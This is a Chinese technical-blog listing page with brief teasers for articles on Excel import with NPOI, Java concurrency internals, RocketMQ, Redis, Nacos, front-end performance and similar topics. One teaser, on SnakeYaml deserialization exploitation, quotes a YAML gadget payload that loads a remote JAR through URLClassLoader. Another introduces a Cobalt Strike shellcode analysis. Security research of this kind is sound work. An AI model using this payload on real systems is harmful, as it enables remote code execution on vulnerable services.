数据 数据分析 模型 层次

C#NPOI操作Excel,实现Excel数据导入导出(支持多个sheet)

首先在项目中引用NPOI,通过管理NuGet程序包,搜索NPOI,选择版本2.3.0(支持.NET Framework 4.0)根据自己项目选择适当版本。 1.NpoiExcelHelper.cs Npoi操作Excel类 using System.Data; using System.IO; us ......
Excel 多个 数据 sheet NPOI

(原创)多线程并发:AQS源码分析(1)——独占锁的实现原理

谈到java中的并发,我们就避不开线程之间的同步和协作问题,谈到线程同步和协作我们就不能不谈谈jdk中提供的AbstractQueuedSynchronizer(翻译过来就是抽象的队列同步器)机制; (一)、AQS中的state和Node含义: AQS中提供了一个int volatile state ......
线程 源码 原理 AQS

(原创)多线程并发:AQS源码分析(2)——共享锁的实现原理

在上一篇文章多线程并发(一)中我们通过acquire()详细地分析了AQS中的独占锁的获取流程,提到独占锁,自然少不了共享锁,所以我们这边文章就以AQS中的acquireShared()方法为例,来分析下并发编程中共享锁的获取与释放吧,获取共享锁的大体流程和获取独占锁一样,但是因为共享锁可以被多个线 ......
线程 源码 原理 AQS

数值的扩展方法以及新增数据类型BigInt

二进制和八进制表示法 ES6提供了二进制和八进制数值的新的写法,分别用前缀0b(或0B)和0o或(0O)表示 0b111110111 503 // true; 0o767 503; // true 在es5开始,严格模式中,八进制不允许使用前缀0 表示,否则会报错 // 严格模式 (function ......
数值 类型 方法 数据 BigInt

SnakeYaml的不出网反序列化利用分析

SnakeYaml的常见出网利用方式: !!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://127.0.0.1:9000/yaml-payload.jar"] ]] ] 不 ......
序列 SnakeYaml

从 B 站出发,用 Chrome devTools performance 分析页面如何渲染

页面是如何渲染的?通常会得到“解析 HTML、css 合成 Render Tree,就可以渲染了”的回答。但是具体都做了些什么,却很少有人细说,我们今天就从 Chrome 的性能工具开始,具体看看一个页面是如何进行渲染的,以及进行页面优化时需要关注哪些指标。 以“老二次元”网站 bilibili 为 ......
performance devTools 页面 Chrome

shin-monitor源码分析

在经过两年多的线上沉淀后,将监控代码重新用 TypeScript 编写,删除冗余逻辑,正式开源。 根据 shin-monitor 的目录结构可知,源码集中在 src 目录中。关于监控系统的迭代过程,可以参考专栏。 一、入口 入口文件是 index.ts,旁边的 utils.ts 是一个工具库。 在 ......
shin-monitor 源码 monitor shin

前端性能精进之优化方法论(二)——分析

在上一节中曾提到过两种性能监控:SYN 和 RUM,那么对应的也有两种分析:数据分析和实验室分析。 数据分析会通过采集上来的性能信息来剖析和定位可能存在的各种问题。 实验室分析会通过某个线上或本地的测试工具对页面进行单点测试,得出性能分析报告。 本文会对前者介绍一些分析实践,后者会介绍一些比较有名的 ......
方法论 前端 性能 方法

odoo 给列表视图添加按钮实现数据文件导入

实践环境 Odoo 14.0-20221212 (Community Edition) 代码实现 模块文件组织结构 说明:为了更好的表达本文主题,一些和主题无关的文件、代码已略去 odoo14\custom\estate │ __init__.py │ __manifest__.py │ ├─mod ......
视图 按钮 文件 数据 odoo

【RocketMQ】DLedger选主源码分析

RocketMQ 4.5版本之前,可以采用主从架构进行集群部署,但是如果master节点挂掉,不能自动在集群中选举出新的Master节点,需要人工介入,在4.5版本之后提供了DLedger模式,使用Raft算法,如果Master节点出现故障,可以自动选举出新的Master进行切换。 Raft协议 R ......
源码 RocketMQ DLedger

【RocketMQ】Dledger日志复制源码分析

消息存储 在 【RocketMQ】消息的存储一文中提到,Broker收到消息后会调用CommitLog的asyncPutMessage方法写入消息,在DLedger模式下使用的是DLedgerCommitLog,进入asyncPutMessages方法,主要处理逻辑如下: 调用serialize方法 ......
源码 RocketMQ Dledger 日志

Cobaltstrike —— shellcode分析(一)

前言 搞iot搞久了,换个方向看看,改改口味。所以决定分析一下Cobaltstrike —— shellcode,顺便还可以提高一下逆向能力。 windows 常见结构体 在分析Cobaltstrike-shellcode之前我们得先了解一下windows下一些常见的结构体。 X86 Thread ......
Cobaltstrike shellcode

jdbc访问KingbaseES数据库SocketTimeoutException Read timed out

jdbc访问KingbaseES数据库发生异常:SocketTimeoutException Read timed out 一、异常现象: 应用显示ERROR信息: Caused By: java.net.SocketTimeoutException: Read timed out at java. ......

【Vue】style和class 列表渲染 使用v-for进行循环 监控失效 双向数据绑定 过滤案例 事件修饰符

昨日回顾 # 1 前端发展历史 -vue react -谷歌flutter,Dart语言 -uni-app:小公司 -vue: 3.x 2.x -3.x :ts -2.x :js # 2 vue: -渐进式 -MVVM: M层:model,数据层,js V层:view,视图层,html,css VM ......
双向 案例 事件 数据 style

C4模型,架构设计图的脚手架,你值得拥有

hi,我是熵减,见字如面。 对于软件开发团队来说,写软件设计文档,花架构图,是日常工作中的关键一项。 而其中,如何画好系统设计的架构图呢? Simon Brown 就 提出 C4 模型,来解决这个问题。 基于C4模型的脚手架,架构师们就可以统一团队内的不同层级的视角,交付一个成体系的架构设计。 下面 ......
脚手架 设计图 架构 模型

redis georadius源码分析与性能优化

原文地址: https://blog.fanscore.cn/a/51/ 背景 最近接到一个需求,开发中使用了redis georadius命令取附近给定距离内的点。完工后对服务进行压测后发现georadius的性能比预期要差,因此我分析了georadius的源码,并对原始的实现方案进行了优化,总结 ......
georadius 源码 性能 redis

模型预处理层介绍(1) - Discretization

预处理的作用主要在于将难以表达的string或者数组转换成模型容易训练的向量表示,其中转化过程大多是形成一张查询表用来查询。 常见的预处理方式包括: class Discretization: Buckets data into discrete ranges. class Hashing: Imp ......
Discretization 模型

衡量算法的性能-时空复杂度分析

算法 即存在输入输出,由有限步骤结束的程序. 因此,显而易见,算法并不是指一个单一的标准答案,而是一切能够完成要求的程序都可以称之为算法.但是算法之间根据性能的不同存在差异,评判这个差异的指标就是本篇分享的重点. 评判算法优劣的指标 1.时间复杂度 时间复杂度用O()表示,它的实质是算法的计算次数 ......
复杂度 算法 性能 时空

Iceberg 数据治理及查询加速实践

数据治理 Flink 实时写入 Iceberg 带来的问题 在实时数据源源不断经过 Flink 写入的 Iceberg 的过程中,Flink 通过定时的 Checkpoint 提交 snapshot commit 操作到 Iceberg,将已写入到 Iceberg 的数据文件通过 Snapshot ......
Iceberg 数据

ArcGIS Pro SDK 002 对数据文件的读取和操作

做系统开发或者数据处理的时候,我一般还是喜欢使用文件数据源,例如矢量用.shp文件存储,栅格数据用.tif或者.img文件存储。ArcGIS Pro SDK中对数据源操作的API和ArcObjects SDK中差别还是比较大的。 1、打开数据文件 打开文件数据的步骤如下。 (1)使用Shape文件所 ......
文件 数据 ArcGIS 002 Pro

精华推荐 |【算法数据结构专题】「延时队列算法」史上非常详细分析和介绍如何通过时间轮(TimingWheel)实现延时队列的原理指南

时间轮的介绍 时间轮(TimeWheel)是一种实现延迟功能(定时器)的精妙的高级算法,其算法应用范围非常广泛,在Java开发过程中常用的Dubbo、Netty、Akka、Quartz、ZooKeeper 、Kafka等各种框架中,各种操作系统的定时任务crontab调度都有用到,甚至Linux内核 ......

redis(1)NoSQL数据库简介

1.1 技术发展 redis是用来解决性能问题的数据库 技术的分类: 解决功能性问题:Java、Jsp、RDBMS、Tomcat、HTML、Linux、JDBC、SVN 解决扩展性问题:Struts、Spring、SpringMVC、Hibernate、Mybatis 解决性能问题:NoSQL、Ja ......
数据库 简介 数据 redis NoSQL

2023年十款开源测试开发工具推荐(自动化、性能、造数据、流量复制)

1、AutoMeter-API 自动化测试平台 AutoMeter 是一款针对分布式服务,微服务 API 做功能和性能一体化的自动化测试平台,一站式提供发布单元,API,环境,用例,前置条件,场景,计划,报告等管理 在项目开发,迭代交付过程中开发人员,测试人员需要针对系统提供的 API 做调试,回归 ......
开发工具 流量 性能 工具 数据

Nacos服务发现原理分析

微服务将自己的实例注册到nacos注册中心,nacos服务端存储了注册列表,然后通过ribbon调用服务,具体是如何调用?如果nacos服务挂了,还能正常调用服务吗?调用的服务列表发生变化,调用方是如何感知变化的?带着这些问题,来探索一下服务发现的原理。 版本 2.1.1 Nacos Server: ......
原理 Nacos

Java 调用 PaddleDetection 模型

文章地址 介绍 训练好的模型要给业务调用,deepjavalibrary/djl:Java 中与引擎无关的深度学习框架 (github.com) 可以完成这件事,它支持使用 Java 调用 PyTorch、TensorFlow、MXNet、ONNX、PaddlePaddle 等引擎的模型(也支持部分 ......
PaddleDetection 模型 Java

记一次 .NET某家装ERP系统 内存暴涨分析

一:背景 1. 讲故事 前段时间微信上有一位老朋友找到我,说他的程序跑着跑着内存会突然爆高,有时候会下去,有什么会下不去,怀疑是不是某些情况下存在内存泄露,让我帮忙分析一下,其实内存泄露方面的问题还是比较好解决的,看过这个dump之后觉得还是有一定的分享价值,拿出来和大家分享一下吧。 二:WinDb ......
家装 内存 系统 NET ERP

slate源码解析(二)- 基本框架与数据模型

源码架构 首先来看下最核心的slate包下的目录: 可以看到,作为一个开源富文本库,其源码是相当之少。在第一篇文章中说过,Slate没有任何开箱即用的功能,只提供给开发者用于构建富文本所需的最基本的一套schema及操作API。因此源码的体量自然就要少许多。 我们来预览上图中各个目录下文件所负责的功 ......
源码 框架 模型 数据 slate

Sentry 后端云原生中间件实践 ClickHouse PaaS ,为 Snuba 事件分析引擎提供动力

目录(脑图) ClickHouse PaaS 云原生多租户平台(Altinity.Cloud) 官网:https://altinity.cloud PaaS 架构概览 设计一个拥有云原生编排能力、支持多云环境部署、自动化运维、弹性扩缩容、故障自愈等特性,同时提供租户隔离、权限管理、操作审计等企业级能 ......
中间件 ClickHouse 事件 动力 引擎

Python GDAL读取栅格数据并基于质量评估波段QA对指定数据加以筛选掩膜

本文介绍基于Python语言中gdal模块,对遥感影像数据进行栅格读取与计算,同时基于QA波段对像元加以筛选、掩膜的操作~ ......
掩膜 栅格 数据 波段 质量

Python批量绘制遥感影像数据的直方图

本文介绍基于Python中gdal模块,实现对大量栅格图像批量绘制直方图的方法。 首先,明确一下本文需要实现的需求:现需对多幅栅格数据文件进行依据其像元数值的直方图绘制,具体绘制内容即各栅格图像像素数值的分布情况;所有栅格数据都保存在同一目标路径下,且均为.tif格式;而目标路径下具有其它非.tif ......
直方图 遥感 影像 数据 Python